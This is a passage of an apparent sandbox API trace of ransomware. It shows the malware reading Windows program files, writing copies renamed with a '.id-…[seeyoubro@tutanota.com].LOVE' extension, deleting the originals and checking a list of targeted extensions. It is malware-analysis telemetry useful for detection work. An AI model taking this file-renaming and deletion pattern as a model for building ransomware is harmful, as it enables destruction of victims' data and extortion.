lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0201.944] WriteFile (in: hFile=0x350, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xe8, lpOverlapped=0x0) returned 1 [0201.944] SetEndOfFile (hFile=0x350) returned 1 [0201.944] CloseHandle (hObject=0x350) returned 1 [0201.945] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.945] SetEndOfFile (hFile=0x348) returned 1 [0201.946] CloseHandle (hObject=0x348) returned 1 [0201.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0201.947] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 1 [0201.947] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0201.947] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0201.947] lstrlenW (lpString=".doc") returned 4 [0201.947] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0201.947] lstrlenW (lpString=".docx") returned 5 [0201.947] lstrcmpiW (lpString1=".docx", lpString2="e.txt") returned -1 [0201.947] lstrlenW (lpString=".pdf") returned 4 [0201.947] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0201.947] lstrlenW (lpString=".xls") returned 4 [0201.947] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0201.947] lstrlenW (lpString=".xlsx") returned 5 [0201.947] lstrcmpiW (lpString1=".xlsx", lpString2="e.txt") returned -1 [0201.947] lstrlenW (lpString=".ppt") returned 4 [0201.947] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0201.947] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0201.947] lstrlenW (lpString=".zip") returned 4 [0201.947] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0201.947] lstrlenW (lpString=".rar") returned 4 [0201.948] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0201.948] lstrlenW (lpString=".bz2") returned 4 [0201.948] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0201.948] lstrlenW (lpString=".7z") returned 3 [0201.948] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0201.948] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0201.948] lstrlenW (lpString=".dbf") returned 4 [0201.948] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0201.948] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0201.948] lstrlenW (lpString=".1cd") returned 4 [0201.948] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0201.948] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0201.948] lstrlenW (lpString=".jpg") returned 4 [0201.948] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0201.948] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0201.948] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0201.948] lstrlenW (lpString=".doc") returned 4 [0201.948] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0201.948] lstrlenW (lpString=".docx") returned 5 [0201.948] lstrcmpiW (lpString1=".docx", lpString2="e.txt") returned -1 [0201.948] lstrlenW (lpString=".pdf") returned 4 [0201.948] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0201.948] lstrlenW (lpString=".xls") returned 4 [0201.948] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0201.948] lstrlenW (lpString=".xlsx") returned 5 [0201.948] lstrcmpiW (lpString1=".xlsx", lpString2="e.txt") returned -1 [0201.948] lstrlenW (lpString=".ppt") returned 4 [0201.948] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0201.948] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0201.949] lstrlenW (lpString=".zip") returned 4 [0201.949] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0201.949] lstrlenW (lpString=".rar") returned 4 [0201.949] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0201.949] lstrlenW (lpString=".bz2") returned 4 [0201.949] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0201.949] lstrlenW (lpString=".7z") returned 3 [0201.949] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0201.949] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0201.949] lstrlenW (lpString=".dbf") returned 4 [0201.949] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0201.949] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0201.949] lstrlenW (lpString=".1cd") returned 4 [0201.949] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0201.949] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0201.949] lstrlenW (lpString=".jpg") returned 4 [0201.949] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0201.949] Sleep (dwMilliseconds=0x64) [0202.199] lstrcmpiW (lpString1=".gif", lpString2=".LOVE") returned -1 [0202.199] lstrlenW (lpString="win32_LinkDrop32x32.gif") returned 23 [0202.199] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0202.275] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=168) returned 1 [0202.275] CloseHandle (hObject=0x300) returned 1 [0202.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 0x20 [0202.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0202.319] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0202.319] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.319] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.319] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0202.320] GetLastError () returned 0x0 [0202.320] ReadFile (in: hFile=0x33c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xa8, lpOverlapped=0x0) returned 1 [0202.320] WriteFile (in: hFile=0x348, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xb0, lpOverlapped=0x0) returned 1 [0202.324] ReadFile (in: hFile=0x33c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0202.324] WriteFile (in: hFile=0x348, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x102, lpOverlapped=0x0) returned 1 [0202.324] SetEndOfFile (hFile=0x348) returned 1 [0202.325] CloseHandle (hObject=0x348) returned 1 [0202.325] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.325] SetEndOfFile (hFile=0x33c) returned 1 [0202.326] CloseHandle (hObject=0x33c) returned 1 [0202.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0202.327] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 1 [0202.327] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0202.327] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0202.327] lstrlenW (lpString=".doc") returned 4 [0202.327] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0202.327] lstrlenW (lpString=".docx") returned 5 [0202.327] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0202.327] lstrlenW (lpString=".pdf") returned 4 [0202.327] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0202.327] lstrlenW (lpString=".xls") returned 4 [0202.327] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0202.327] lstrlenW (lpString=".xlsx") returned 5 [0202.327] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0202.327] lstrlenW (lpString=".ppt") returned 4 [0202.327] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0202.327] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0202.327] lstrlenW (lpString=".zip") returned 4 [0202.327] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0202.327] lstrlenW (lpString=".rar") returned 4 [0202.327] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0202.327] lstrlenW (lpString=".bz2") returned 4 [0202.327] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0202.327] lstrlenW (lpString=".7z") returned 3 [0202.327] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0202.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0202.328] lstrlenW (lpString=".dbf") returned 4 [0202.328] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0202.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0202.328] lstrlenW (lpString=".1cd") returned 4 [0202.328] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0202.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0202.328] lstrlenW (lpString=".jpg") returned 4 [0202.328] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0202.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0202.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0202.328] lstrlenW (lpString=".doc") returned 4 [0202.328] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0202.328] lstrlenW (lpString=".docx") returned 5 [0202.328] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0202.328] lstrlenW (lpString=".pdf") returned 4 [0202.328] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0202.328] lstrlenW (lpString=".xls") returned 4 [0202.328] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0202.328] lstrlenW (lpString=".xlsx") returned 5 [0202.328] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0202.328] lstrlenW (lpString=".ppt") returned 4 [0202.328] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0202.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0202.328] lstrlenW (lpString=".zip") returned 4 [0202.328] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0202.328] lstrlenW (lpString=".rar") returned 4 [0202.328] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0202.328] lstrlenW (lpString=".bz2") returned 4 [0202.328] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0202.328] lstrlenW (lpString=".7z") returned 3 [0202.329] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0202.329] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0202.329] lstrlenW (lpString=".dbf") returned 4 [0202.329] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0202.329] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0202.329] lstrlenW (lpString=".1cd") returned 4 [0202.329] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0202.329] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0202.329] lstrlenW (lpString=".jpg") returned 4 [0202.329] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0202.329] Sleep (dwMilliseconds=0x64) [0203.105] lstrcmpiW (lpString1=".HTM", lpString2=".LOVE") returned -1 [0203.105] lstrlenW (lpString="OSPP.HTM") returned 8 [0203.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0203.105] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=174528) returned 1 [0203.105] CloseHandle (hObject=0x368) returned 1 [0203.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 0x20 [0203.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0203.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0203.106] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0203.106] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0203.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0203.172] GetLastError () returned 0x0 [0203.172] ReadFile (in: hFile=0x368, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x2a9c0, lpOverlapped=0x0) returned 1 [0203.240] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x2a9d0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x2a9d0, lpOverlapped=0x0) returned 1 [0203.243] ReadFile (in: hFile=0x368, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0203.243] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xe4, lpOverlapped=0x0) returned 1 [0203.243] SetEndOfFile (hFile=0x2d8) returned 1 [0203.243] CloseHandle (hObject=0x2d8) returned 1 [0203.248] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0203.248] SetEndOfFile (hFile=0x368) returned 1 [0203.250] CloseHandle (hObject=0x368) returned 1 [0203.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0203.250] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 1 [0203.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0203.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0203.251] lstrlenW (lpString=".doc") returned 4 [0203.251] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0203.251] lstrlenW (lpString=".docx") returned 5 [0203.251] lstrcmpiW (lpString1=".docx", lpString2="P.HTM") returned -1 [0203.251] lstrlenW (lpString=".pdf") returned 4 [0203.251] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0203.251] lstrlenW (lpString=".xls") returned 4 [0203.251] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0203.251] lstrlenW (lpString=".xlsx") returned 5 [0203.251] lstrcmpiW (lpString1=".xlsx", lpString2="P.HTM") returned -1 [0203.251] lstrlenW (lpString=".ppt") returned 4 [0203.251] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0203.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0203.251] lstrlenW (lpString=".zip") returned 4 [0203.251] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0203.251] lstrlenW (lpString=".rar") returned 4 [0203.251] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0203.251] lstrlenW (lpString=".bz2") returned 4 [0203.251] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0203.251] lstrlenW (lpString=".7z") returned 3 [0203.251] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0203.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0203.251] lstrlenW (lpString=".dbf") returned 4 [0203.251] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0203.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0203.251] lstrlenW (lpString=".1cd") returned 4 [0203.251] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0203.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0203.252] lstrlenW (lpString=".jpg") returned 4 [0203.252] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0203.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0203.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0203.252] lstrlenW (lpString=".doc") returned 4 [0203.252] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0203.252] lstrlenW (lpString=".docx") returned 5 [0203.252] lstrcmpiW (lpString1=".docx", lpString2="P.HTM") returned -1 [0203.252] lstrlenW (lpString=".pdf") returned 4 [0203.252] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0203.252] lstrlenW (lpString=".xls") returned 4 [0203.252] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0203.252] lstrlenW (lpString=".xlsx") returned 5 [0203.252] lstrcmpiW (lpString1=".xlsx", lpString2="P.HTM") returned -1 [0203.252] lstrlenW (lpString=".ppt") returned 4 [0203.252] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0203.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0203.252] lstrlenW (lpString=".zip") returned 4 [0203.252] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0203.252] lstrlenW (lpString=".rar") returned 4 [0203.252] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0203.252] lstrlenW (lpString=".bz2") returned 4 [0203.252] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0203.252] lstrlenW (lpString=".7z") returned 3 [0203.252] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0203.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0203.252] lstrlenW (lpString=".dbf") returned 4 [0203.252] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0203.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0203.253] lstrlenW (lpString=".1cd") returned 4 [0203.253] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0203.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0203.253] lstrlenW (lpString=".jpg") returned 4 [0203.253] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0203.253] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0203.253] lstrlenW (lpString="AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 53 [0203.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0203.253] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=1533) returned 1 [0203.253] CloseHandle (hObject=0x368) returned 1 [0203.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 0x220 [0203.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0203.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0203.254] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0203.254] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0203.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0203.254] GetLastError () returned 0x0 [0203.254] ReadFile (in: hFile=0x368, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x5fd, lpOverlapped=0x0) returned 1 [0203.264] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x600, lpOverlapped=0x0) returned 1 [0203.265] ReadFile (in: hFile=0x368, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0203.265] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x13e, lpOverlapped=0x0) returned 1 [0203.266] SetEndOfFile (hFile=0x2d8) returned 1 [0203.266] CloseHandle (hObject=0x2d8) returned 1 [0203.266] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0203.267] 